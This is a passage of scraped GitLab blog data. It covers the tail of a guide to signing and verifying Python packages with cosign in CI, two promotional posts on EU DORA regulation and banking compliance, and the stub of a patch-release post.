simulates how end users will verify your package's authenticity. This stage acts as a final check and a practical example of the verification process.\n\n```yaml\nconsumer_verification:\n  extends: .python+cosign-job\n  stage: consumer_verification\n  script:\n    - |\n      git init\n      git config --global init.defaultBranch main\n      mkdir -p pkg signatures\n\n      pip download --index-url \"https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple\" \\\n          \"${NORMALIZED_NAME}==${PACKAGE_VERSION}\" --no-deps -d ./pkg\n\n      pip download --no-binary :all: \\\n          --index-url \"https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple\" \\\n          \"${NORMALIZED_NAME}==${PACKAGE_VERSION}\" --no-deps -d ./pkg\n\n      failed=0\n      for file in pkg/*.whl pkg/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          sig_url=\"${GENERIC_PACKAGE_BASE_URL}/${filename}.sig\"\n          cert_url=\"${GENERIC_PACKAGE_BASE_URL}/${filename}.crt\"\n\n          curl --fail --silent --show-error \\\n               --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --output \"signatures/${filename}.sig\" \\\n               \"$sig_url\"\n\n          curl --fail --silent --show-error \\\n               --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --output \"signatures/${filename}.crt\" \\\n               \"$cert_url\"\n\n          if ! cosign verify-blob \\\n            --signature \"signatures/${filename}.sig\" \\\n            --certificate \"signatures/${filename}.crt\" \\\n            --certificate-identity \"${CERTIFICATE_IDENTITY}\" \\\n            --certificate-oidc-issuer \"${CERTIFICATE_OIDC_ISSUER}\" \\\n            \"$file\"; then\n            failed=1\n          fi\n        fi\n      done\n\n      if [ $failed -eq 1 ]; then\n        exit 1\n      fi\n```\n\nThis consumer verification stage simulates the end-user experience by:\n\n1. Creating a clean environment to test package installation\n2. Downloading the published packages from the GitLab PyPI registry\n3. Retrieving the corresponding signatures and certificates from the generic package registry\n4. Performing the same verification steps that end users would perform\n5. Ensuring the entire process works from a consumer's perspective\n6. Failing the pipeline if any verification step fails, providing an early warning of any issues\n\n## Summary\n\nThis comprehensive pipeline provides a secure and reliable way to build, sign, and publish Python packages to GitLab's package registry. By following these practices and implementing the suggested security measures, you can ensure your packages are appropriately verified and safely distributed to your users.\n\nThe pipeline combines modern security practices with efficient automation to create a robust software supply chain. Using Sigstore's Cosign for signing and attestation, along with GitLab's built-in security features, you can provide users with trustworthy cryptographically verified packages.\n\n> #### Get started on your security journey today with a [free 60-day trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com).\n\n## Learn more\n- [Documentation: Use Sigstore for keyless signing and verification](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html)\n- [Streamline security with keyless signing and verification in GitLab](https://about.gitlab.com/blog/keyless-signing-with-cosign/)\n- [Annotate container images with build provenance using Cosign in GitLab CI/CD](https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd/)",[14,231,282,715,1230,110,479,696,1058],"CI",{"slug":1232,"featured":92,"template":677},"secure-and-publish-python-packages-a-guide-to-ci-integration","content:en-us:blog:secure-and-publish-python-packages-a-guide-to-ci-integration.yml","Secure And Publish Python Packages A Guide To Ci Integration","en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration.yml","en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration",{"_path":1238,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1239,"content":1245,"config":1252,"_id":1254,"_type":16,"title":1255,"_source":17,"_file":1256,"_stem":1257,"_extension":20},"/en-us/blog/what-the-digital-operational-resilience-act-means-for-banks",{"title":1240,"description":1241,"ogTitle":1240,"ogDescription":1241,"noIndex":6,"ogImage":1242,"ogUrl":1243,"ogSiteName":767,"ogType":768,"canonicalUrls":1243,"schema":1244},"What the Digital Operational Resilience Act means for banks","Find out why financial institutions need to understand the DORA legislative framework introduced in the European Union to strengthen operational resilience.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098149/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750098149751.png","https://about.gitlab.com/blog/what-the-digital-operational-resilience-act-means-for-banks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What the Digital Operational Resilience Act means for banks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joshua Carroll\"},{\"@type\":\"Person\",\"name\":\"Allie Holland\"}],\n        \"datePublished\": \"2025-01-15\",\n      }",{"title":1240,"description":1241,"authors":1246,"heroImage":1242,"date":1249,"body":1250,"category":14,"tags":1251},[1247,1248],"Joshua Carroll","Allie Holland","2025-01-15","Developers play a critical role in ensuring banks remain competitive and compliant. One framework gaining significant attention is DORA. If you’re thinking of the [DevOps Research and Assessment (DORA) metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html), this is something different. The [Digital Operational Resilience Act](https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en) is a new regulatory framework focused on safeguarding financial institutions against digital disruptions. For developers, understanding DORA regulations is not just a regulatory necessity; it’s an opportunity to drive innovation and enhance the overall stability of their organizations. \n\n## What is DORA regulation?\n\nThe Digital Operational Resilience Act (DORA) is a legislative framework introduced by the European Union to strengthen the operational resilience of financial institutions. DORA aims to ensure that banks and other financial services providers can withstand, respond to, and recover from all types of information and communication technology (ICT) related disruptions and threats. DORA outlines specific requirements for risk management, incident reporting, testing, and the overall governance of digital operations.\n\n## Core requirements of DORA\n\nDORA introduces several critical requirements for financial institutions to ensure they can maintain operational continuity, including:\n\n1. **Risk management:** Organizations must establish systems to identify, assess, and manage risks related to their digital operations. DORA fundamentally redefines the landscape of ICT risk management by placing accountability at the executive level. Detailed in [Article 5](https://www.digital-operational-resilience-act.com/Article_5.html), the management body of an organization is now entrusted with the ultimate responsibility for overseeing ICT risk management. This includes conducting regular risk assessments and implementing strategies to mitigate identified vulnerabilities.   \n\n2. **Regular testing:** Financial institutions are required to conduct systematic testing of their ICT systems to ensure they can handle potential disruptions effectively. This includes stress testing, scenario analysis, and recovery simulations to evaluate the resilience of their operations.  \n\n3. **Incident reporting:** Significant ICT-related incidents must be reported to regulators within specified timeframes. This requirement enhances oversight and allows regulators to coordinate responses across the financial sector, ensuring a unified approach to managing crises. The most recent [Regulatory Technical Standards](https://www.eba.europa.eu/sites/default/files/2023-12/ecc72f1c-c68a-4e64-97dd-47470117c3ae/JC%202023%2070%20-%20%20CP%20on%20draft%20RTS%20and%20ITS%20on%20major%20incident%20reporting%20under%20DORA.pdf) proposes time limits for reporting of the initial notification of four hours after classification and 24 hours after detection of the incident, 72 hours for reporting of the intermediate report, and one month for the reporting of the final report.   \n\n4. **Third-party risk management:** DORA also focuses on managing risks associated with outsourcing services to third-party providers. Organizations must ensure that their partners adhere to the same stringent standards, conducting due diligence and regular assessments of third-party performance. One of the biggest shifts for a bank is oftentimes centered around the establishment of exit strategies, detailed in [Article 28](https://www.digital-operational-resilience-act.com/Article_28.html).\n\nOrganizations need to prepare for scenarios where a third-party provider can no longer meet their operational needs or compliance obligations. This proactive approach ensures continuity and minimizes disruption in critical services. GitLab offers a distinct advantage in this area, as our platform is cloud-agnostic. This flexibility allows organizations to easily adapt their operations and transition between service providers as needed, simplifying the implementation of effective exit strategies.\n\nFor those who are interested in learning a bit more about the specifics listed above, the formal regulation documentation can be found [here](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32022R2554).  \n\n## Why DORA matters to developers\n\nDORA is important for developers to understand for the following reasons:\n\n1. **Enhanced security posture:** For developers, DORA emphasizes the importance of robust cybersecurity measures. As cyber threats continue to evolve, being part of an organization that prioritizes security means you’ll need to build applications with security in mind from the beginning, with a shift [security left mindset](https://www.youtube.com/watch?v=XnYstHObqlA). Compliance with DORA requires implementing best practices in secure coding, conducting regular vulnerability assessments, and ensuring that security controls are integrated into the software development lifecycle.  \n2. **Focus on resilience:** DORA requires banks to have clear strategies for operational resilience. Developers must now design systems that go beyond surface level functionality, building applications that can withstand failures and protect against disruptions. Having a clear understanding of DORA can guide you in architecting applications that can seamlessly handle disruptions, whether from a technical failure or an external threat.  \n3. **Collaboration and cross-functional teams:** Implementing DORA effectively requires a collaborative approach, which could pose a challenge in siloed banking structures. Developers will need to work closely with cybersecurity teams, risk management, and compliance officers.   \n4. **Agility in incident response:** DORA mandates that organizations report and respond to incidents efficiently. Developers must be equipped to quickly address vulnerabilities and deploy fixes.   \n5. **Continuous improvement culture:** DORA encourages a culture of continuous improvement and testing. This requires the adoption of practices like chaos engineering and regular stress testing of applications to ensure they can handle unexpected scenarios. Embracing these methodologies will not only help meet regulatory requirements but also improve the overall quality and reliability of the software that is built.\n\n## GitLab's role in DORA compliance\n\nGitLab is prepared to help financial institutions meet DORA’s stringent requirements. With [security built into the earliest stages of deployment pipelines](https://about.gitlab.com/topics/ci-cd/shift-left-devops/), GitLab is strategically positioned to equip organizations with software that is [Secure by Design](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/). \n\n* **Robust risk management:** GitLab’s built-in tools enable organizations to identify, assess, and manage risk across their digital landscape. By utilizing features like [issue tracking](https://docs.gitlab.com/ee/user/project/issues/index.html) and [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), teams can collaboratively manage and document risks throughout the software development lifecycle. GitLab provides several tools that enable organizations to manage these requirements effectively:  \n      - **Audit logs and compliance dashboards:** GitLab's [audit logs](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture all activities within the platform, giving financial institutions a full history of changes made to code, configurations, and infrastructure. These logs allow compliance teams to review user actions and detect irregularities that could pose risks. Additionally, GitLab’s [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) provides real-time visibility into which projects comply with established policies, making it easier to manage large-scale governance.  \n      - **Custom compliance frameworks:** GitLab allows organizations to create [custom compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#:~:text=You%20can%20create%20a%20compliance,on%20which%20it%20is%20applied.) that are tailored to an organization's regulatory requirements and geographical regions. These frameworks ensure consistent enforcement of security and operational standards, meeting DORA’s systematic risk management objectives.  \n\n* **Comprehensive application security testing:** Security vulnerabilities pose significant regulatory, financial, and reputational risks. GitLab addresses these challenges by building security testing directly into its CI/CD pipelines, ensuring vulnerabilities are detected and mitigated before deployment. This approach leverages multiple [testing methodologies](https://about.gitlab.com/stages-devops-lifecycle/secure/):\n    - [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analyzes source code for security vulnerabilities.\n    - [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/): Tests running applications for security weaknesses.\n    - [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Prevents sensitive information from being exposed in code.\n    - [Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/): Identifies potential security issues by testing with random inputs.\n\n  GitLab’s security tools run automated tests that scan for vulnerabilities in code, containers, and third-party dependencies. These features help organizations meet the DORA requirement to continuously test IT systems, providing peace of mind that potential vulnerabilities are addressed before they become operational risks.\n\n  ![GitLab features for DORA requirements in EU](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098160/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098160209.png)\n\n* **Efficient incident reporting:** GitLab’s [project management capabilities](https://docs.gitlab.com/ee/topics/plan_and_track.html) enable teams to effectively log and track significant ICT-related incidents. This centralized documentation, combined with [continuous vulnerability scanning](https://docs.gitlab.com/ee/user/application_security/continuous_vulnerability_scanning/), facilitates timely reporting to regulators, enhances visibility, and supports compliance with DORA's incident reporting requirements.\n  [GitLab's incident management features](https://docs.gitlab.com/ee/operations/incident_management/incidents.html#:~:text=The%20incident%20summary%20can%20be,displays%20them%20below%20the%20summary.) streamline the workflow of remediation, making it easier for teams to identify, trace, and act on incidents as they arise.\n    - Incident management tools: GitLab includes built-in tools for managing incidents, serving as a centralized record for teams to report, assess, and mitigate issues effectively. Users can create incident records, assign ownership, and document the investigation and resolution process. This centralization not only streamlines incident management but also enables teams to trace back and determine accountability for each incident. By facilitating clear ownership and structured workflows, GitLab positions organizations to effectively meet DORA’s requirements for effective incident response plans.\n    - Real-time alerts and monitoring integrations: By integrating with monitoring tools such as [Prometheus](https://prometheus.io/) and Grafana, GitLab allows financial institutions to receive real-time alerts when issues arise. These alerts can trigger automated incident responses, helping teams address potential threats before they escalate, in line with DORA’s emphasis on quick reaction times.\n\n* **Third-party risk management:** GitLab enables organizations to work closely with third-party providers, ensuring they adhere to the same rigorous standards required by the industry. The platform provides both technical controls and governance features to manage third-party risks:\n    * Technical Controls\n       - [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Automatically detects vulnerabilities in third-party libraries and open-source components\n      - [Software Composition Analysis](https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization/): Provides detailed inventory and security status of all external dependencies\n      -  [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/): Identifies vulnerabilities in third-party container images   \n\n   * Governance Features\n      - [Policy Enforcement](https://docs.gitlab.com/ee/user/application_security/policies/): Automatically enforce security policies for external code and components\n      -  [Integration Controls](https://docs.gitlab.com/ee/api/integrations.html): GitLab's API-first approach ensures secure and monitored integration with external systems\n      -   [Audit Trails](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Maintain comprehensive logs of all third-party component usage and changes\n\n  These capabilities help organizations meet DORA's requirements for third-party risk management while maintaining operational efficiency.\n\nThe EU’s DORA regulations present new challenges for financial institutions, requiring them to enhance their governance, cybersecurity, and resilience frameworks. GitLab offers powerful features that address the key pillars of DORA, from incident management to cybersecurity testing and third-party risk management. By integrating GitLab into operational processes, financial institutions can streamline their compliance efforts, reduce risks, and ensure that they meet regulatory requirements with greater efficiency. GitLab provides a solid foundation for organizations seeking to stay ahead of the evolving regulatory landscape while maintaining strong security and operational resilience.\n\n> #### [Reach out](https://about.gitlab.com/solutions/finance/) to learn more about how GitLab can help meet your regulatory challenges.\n\n## Read more\n\n- [GitLab supports banks in navigating regulatory challenges](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n",[555,14,479,776],{"slug":1253,"featured":6,"template":677},"what-the-digital-operational-resilience-act-means-for-banks","content:en-us:blog:what-the-digital-operational-resilience-act-means-for-banks.yml","What The Digital Operational Resilience Act Means For Banks","en-us/blog/what-the-digital-operational-resilience-act-means-for-banks.yml","en-us/blog/what-the-digital-operational-resilience-act-means-for-banks",{"_path":1259,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1260,"content":1266,"config":1272,"_id":1274,"_type":16,"title":1275,"_source":17,"_file":1276,"_stem":1277,"_extension":20},"/en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges",{"title":1261,"description":1262,"ogTitle":1261,"ogDescription":1262,"noIndex":6,"ogImage":1263,"ogUrl":1264,"ogSiteName":767,"ogType":768,"canonicalUrls":1264,"schema":1265},"GitLab supports banks in navigating regulatory challenges","Learn the upcoming changes to key frameworks, how they impact organizations, and the DevSecOps platform features that can help address them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664874/Blog/Hero%20Images/AdobeStock_880918603.jpg","https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab supports banks in navigating regulatory challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"George Kichukov\"},{\"@type\":\"Person\",\"name\":\"Allie Holland\"}],\n        \"datePublished\": \"2025-01-09\",\n      }",{"title":1261,"description":1262,"authors":1267,"heroImage":1263,"date":1269,"body":1270,"category":14,"tags":1271},[1268,1248],"George Kichukov","2025-01-09","The risk of cyber attacks in the banking industry has reached unprecedented levels. Studies by the [International Monetary Fund](https://www.imf.org/-/media/Files/Publications/GFSR/2024/April/English/ch3.ashx) reveal that the financial sector is particularly vulnerable to cyber threats, with nearly one-fifth of reported incidents in the past two decades targeting this industry alone. As these threats continue to escalate, they drive the need for a regulatory response, prompting the banking and financial services industry to prepare for significant changes. GitLab enables financial institutions to proactively tackle these challenges, supporting banks on their regulatory journey while ensuring the operational resilience needed to protect the sensitive data pervasive throughout the banking ecosystem.\n\n## Understanding the upcoming regulatory changes\n\nAcknowledging that the regulatory landscape frequently changes, this article will concentrate on key frameworks in the EU poised to shape the future of banking and financial services. These frameworks not only address current industry challenges but also set the foundation for the development of a more secure and resilient financial ecosystem.\n\nHere are several regulations that are demanding the attention of the financial services industry. \n\n### [European Cyber Resilience Act (CRA)](https://digital-strategy.ec.europa.eu/en/policies/cyber-resilience-act)  \n\nImplemented as of **January 2024,** with a grace period extending for two years, the CRA establishes a comprehensive framework to enhance cybersecurity standards for digital products and services within the EU. This regulation seeks to mitigate the risks of vulnerabilities in software and hardware by ensuring that security is integrated throughout the entire product lifecycle, promoting a proactive “shift left” approach to security. By embedding security measures from the design phase onward, the CRA aims to safeguard the digital economy and bolster consumer trust in digital services.\n\n### [Digital Operational Resilience Act (DORA)](https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en)\n\nTaking effect on **January 17, 2025**, the Digital Operations Resilience Act aims to ensure that financial institutions can withstand, respond to, and recover from all types of information and communication technology related disruptions and threats. The goal is to unify and strengthen the resilience of the financial sector across Europe. \n\n### [European Data Act](https://digital-strategy.ec.europa.eu/en/policies/data-act)  \n\nAnticipated to become applicable on **September 12, 2025**, this regulation seeks to provide clearer rules regarding data use and sharing for AI and the internet of things, or IoT, enhancing data access and fostering innovation in various sectors, including finance.\n\n## Implications for banks and financial institutions \n\nAs financial institutions adapt to these evolving regulatory frameworks, the implications are significant and far-reaching. For instance, PYMNTS reports [59% of bankers see their legacy systems as a major business challenge](https://www.pymnts.com/digital-first-banking/2024/three-quarters-of-banks-face-digital-banking-infrastructure-issues/). These challenges present obstacles in the delivery of modern services, while hindering their ability to both detect and respond to modern cyber threats. According to the [2024 IBM Data Breach Report](https://www.ibm.com/downloads/cas/1KZ3XE9D), the average cost of a data breach in the financial services sector is a staggering $6.08 million, with breaches taking an average of 258 days to identify and contain. Unfortunately for banks, the most common type of data stolen or compromised was customer personally identifiable information, or PII. This highlights the urgent need for organizations to modernize their security practices and infrastructure.\n\nHere are four ways to address this challenge.\n\n1. **Increase investment in technology:** Banks will need to significantly increase their investments in technology and infrastructure. This involves evaluating current systems and processes to ensure they align with the stringent requirements of CRA, DORA, the European Data Act, and other regulations.  \n\n2. **Heighten risk management practices:** A cultural shift will be necessary within organizations, as teams will need to prioritize risk management and resilience strategies. DORA, in particular, emphasizes not just compliance but the ability to anticipate and recover from disruptions.  \n\n3. **Enhance data governance:** Many of these new regulations will require banks to prepare for new approaches to data sharing and governance. Banks will have to rethink how data is collected, stored, and analyzed, with a strong focus on transparency, accountability, and collaboration across departments.  \n\n4. **Strengthen cybersecurity:** As cyber threats evolve, the importance of robust cybersecurity measures cannot be overstated. The CRA mandates that financial institutions implement comprehensive security protocols, requiring banks to prioritize cybersecurity investments at every phase of the software development lifecycle. \n\n## How GitLab can help   \nWith years of experience working with some of the [largest financial organizations in the world](https://about.gitlab.com/customers/all/?industry=financial-services), GitLab stands ready to support banks and other financial institutions in their compliance efforts. Our integrated suite of features empowers development teams to streamline their workflows, allowing them to concentrate on software development rather than becoming bogged down by the manual tracking and monitoring of evolving compliance regulations. \n\n**[GitLab Dedicated](https://about.gitlab.com/dedicated/)**, our fully isolated, single-tenant SaaS solution, is designed to meet the complex compliance and data residency requirements of highly regulated industries. Hosted and managed by GitLab, in your chosen cloud region, GitLab Dedicated ensures that sensitive data remains secure and compliant with local regulations. GitLab can help banks navigate these challenges effectively with:\n\n1. [Comprehensive application security and compliance features](https://about.gitlab.com/stages-devops-lifecycle/secure/)\n\n-  __Security scanning built into developer workflows:__ Many financial institutions still rely on disparate tools for security checks, which can lead to gaps in coverage and oversight. GitLab offers built-in security scanning tools that automatically identify vulnerabilities and provide remediation guidance throughout the application lifecycle. By embedding security checks into [CI/CD pipelines](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/), banks can detect and resolve issues early in the development process, where they are less costly and less risky to fix, ensuring that they adhere to necessary security protocols. GitLab offers the following [security scanner types](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html):\n\n      1. [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/index.html) \n\n      2. [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html)  \n      3. [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/index.html)\n\n      4. [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/index.html)\n\n      5. [Dependency (+ License) Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)  \n      6. [Coverage-guided Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/index.html)  \n\n      7. [Web API Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)  \n\n      8. [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)  \n\n      9. [API Security Scanning](https://docs.gitlab.com/ee/user/application_security/api_security/index.html)\n\n- __Compliance and enforceable policies:__ Our platform enables [separation of duties](https://about.gitlab.com/blog/ensuring-compliance/), by allowing security and compliance teams to manage security policies independently, allowing developers to focus purely on development. This approach supports the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), where developers access only what they need. For multinational banks or financial institutions who operate globally, GitLab’s policies and compliance dashboards assist in meeting strict geographical and regulatory requirements. These tools help maintain consistent adherence to compliance regulations, giving organizations clear visibility into their security posture across regions, industries, and regulations.\n\n- __[Software supply chain security](https://about.gitlab.com/solutions/supply-chain/):__ GitLab ensures the security of the entire build, development, and deployment environment through a comprehensive approach to software supply chain security. Our [software composition analysis (SCA)](https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization/) provides deep insights into component versions, licenses, and known vulnerabilities in dependencies which can be proactively remediated to reduce enterprise risk. This comprehensive approach also includes [software bill of materials (SBOM)](https://docs.gitlab.com/ee/user/application_security/dependency_list/) generation, ensuring transparency and compliance with industry standards. Finally, as highlighted above, GitLab provides controls to enforce the principle of least privilege to mitigate threats that compromise the software development environment itself.  \n\n2. [Robust risk management tools](https://docs.gitlab.com/ee/user/application_security/)\n\n- __Issue tracking and management:__ Within a bank, ineffective risk management can lead to overlooked vulnerabilities and inefficient mitigation strategies. GitLab’s issue tracking capabilities allow security vulnerabilities to appear alongside feature requests in the backlog, creating full visibility across teams. Sensitive issues can also be marked as confidential, so that only those who have sufficient permissions can access. This combination of transparency and controlled access supports a culture of collaboration and accountability, as development, security, and operations teams work together seamlessly on risk management. This cultural shift is crucial; rather than merely purchasing tools or one-off solutions, organizations must embed collaboration into their workflows to ensure security becomes a key part of the development process. \n\n- __[Automated testing](https://about.gitlab.com/blog/how-to-choose-the-right-security-scanning-approach/):__ A common challenge in the financial services industry is centered around the fact that homegrown solutions that were once robust processes become slow and cumbersome over time, leading to reduced agility. So much so that [Forbes](https://www.aba.com/-/media/documents/industry-insights/2023-thoughtmachine-banking-at-a-crossroads-the-threat-of-legacy-infrastructure.pdf?rev=6ce18fa56f0547e5a8c8433b50aef931) found that 60% of banking leaders consider legacy infrastructure to be the major factor keeping them from unlocking incremental growth. To compensate, the industry has shifted toward giving developers more freedom, but often at the cost of maintaining high security standards.\n\u003Cbr>\u003C/br>\n  GitLab solves this challenge by [automating testing within CI/CD pipelines](https://about.gitlab.com/topics/devops/devops-test-automation/), enabling financial institutions to maintain both speed and security. Developers can configure pipelines to fit their workflows, while security and compliance teams retain control over policies, ensuring adherence to critical security measures. By automating testing processes, GitLab helps banks remain resilient and functional, reducing the likelihood of disruptions.\n\n3. [Enhanced data governance](https://about.gitlab.com/stages-devops-lifecycle/govern/)\n\n- __Data management and compliance:__ GitLab’s data management features enable organizations to securely handle sensitive information. With embedded [audit logs](https://docs.gitlab.com/ee/user/compliance/audit_events.html), banks can track data access and changes, ensuring transparency and accountability in their data practices. These logs can show actions such as who changed the permission level of a particular user for a project, and when.\n\n- __[Collaboration tools](https://about.gitlab.com/topics/gitops/gitops-gitlab-collaboration/):__ GitLab promotes collaboration among cross-departmental teams, facilitating communication between IT, compliance, and business units. This integrated approach is essential for effective data governance, allowing banks to align their data practices with organizational goals.\n\n4. [Efficient incident reporting and response](https://docs.gitlab.com/ee/operations/incident_management/)\n\n- __[Centralized incident management](https://handbook.gitlab.com/handbook/engineering/infrastructure/incident-management/):__ GitLab provides centralized project management capabilities for logging and tracking significant incidents. This allows teams to respond quickly and effectively, ensuring that incidents are managed in a timely manner.\n\n- __[Incident response guides](https://handbook.gitlab.com/handbook/security/security-operations/sirt/sec-incident-response/):__ With GitLab, organizations can develop and maintain incident response plans within the platform. By simulating potential incidents and testing response protocols, banks can ensure preparedness and resilience in the face of unexpected challenges.\n\n5. [Documentation and audit readiness](https://docs.gitlab.com/ee/administration/compliance.html)\n\n- __Continuous compliance documentation:__ Traditionally, banks have been locked into rigid 12-month audit cycles, preparing documentation to meet stringent regulations like the Bank Secrecy Act (BSA), Automated Clearing House (ACH) rules, and Anti-Money Laundering (AML) requirements. However, as the pace and complexity of threats grow, the financial industry is shifting from reactive, periodic audits to a proactive, [continuous compliance model](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). With GitLab, teams know exactly where they stand at any given moment, leveraging real-time compliance data to their advantage. This continuous insight empowers teams to address issues as they arise, rather than waiting for an audit, creating a more agile and resilient compliance posture.\n\n- **Customizable reporting:** With GitLab’s customizable reporting features, organizations can generate detailed reports that showcase compliance violations based on severity levels, violation types, and merge request titles. These reports provide valuable insights for both internal stakeholders and external parties, ensuring transparency and accountability.\n\n## Connect with GitLab today\n\nAs banks and financial institutions embrace these regulatory changes, GitLab not only provides the technology necessary to ensure compliance, but also fosters a culture of continuous improvement. This proactive approach allows financial institutions to release software with confidence, knowing they have the systems in place to mitigate risks and respond quickly to incidents.\n\nGitLab’s commitment to supporting the financial sector through these transitions ensures that organizations are not only compliant but also resilient and prepared for the challenges ahead. Together, we can build a safer and more secure financial future. \n\n> **[Reach out](https://about.gitlab.com/solutions/finance/) to learn more about how we can help meet your regulatory challenges.**\n\n## Read more\n\n- [What the Digital Operational Resilience Act means for banks](https://about.gitlab.com/blog/what-the-digital-operational-resilience-act-means-for-banks/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)",[555,776,479,14],{"slug":1273,"featured":6,"template":677},"gitlab-supports-banks-in-navigating-regulatory-challenges","content:en-us:blog:gitlab-supports-banks-in-navigating-regulatory-challenges.yml","Gitlab Supports Banks In Navigating Regulatory Challenges","en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges.yml","en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges",{"_path":1279,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1280,"content":1286,"config":1293,"_id":1296,"_type":16,"title":1297,"_source":17,"_file":1298,"_stem":1299,"_extension":20},"/en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5",{"title":1281,"description":1282,"ogTitle":1281,"ogDescription":1282,"config":1283,"ogImage":711,"ogUrl":1284,"ogSiteName":767,"ogType":768,"canonicalUrls":1284,"schema":1285},"GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5","Learn more about GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE)",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Alfaro\"}],\n        \"datePublished\": \"2025-01-08\",\n      }",{"title":1281,"description":1282,"authors":1287,"heroImage":711,"date":1289,"body":1290,"category":14,"tags":1291},[1288],"Greg Alfaro","2025-01-08","This is the post for [GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5](https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/).",[1292],"security releases",{"slug":1294,"featured":6,"template":677,"externalUrl":1295},"gitlab-patch-release-17-7-1-17-6-3-17-5-5","https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/","content:en-us:blog:gitlab-patch-release-17-7-1-17-6-3-17-5-5.yml","Gitlab Patch Release 17 7 1 17 6 3 17 5 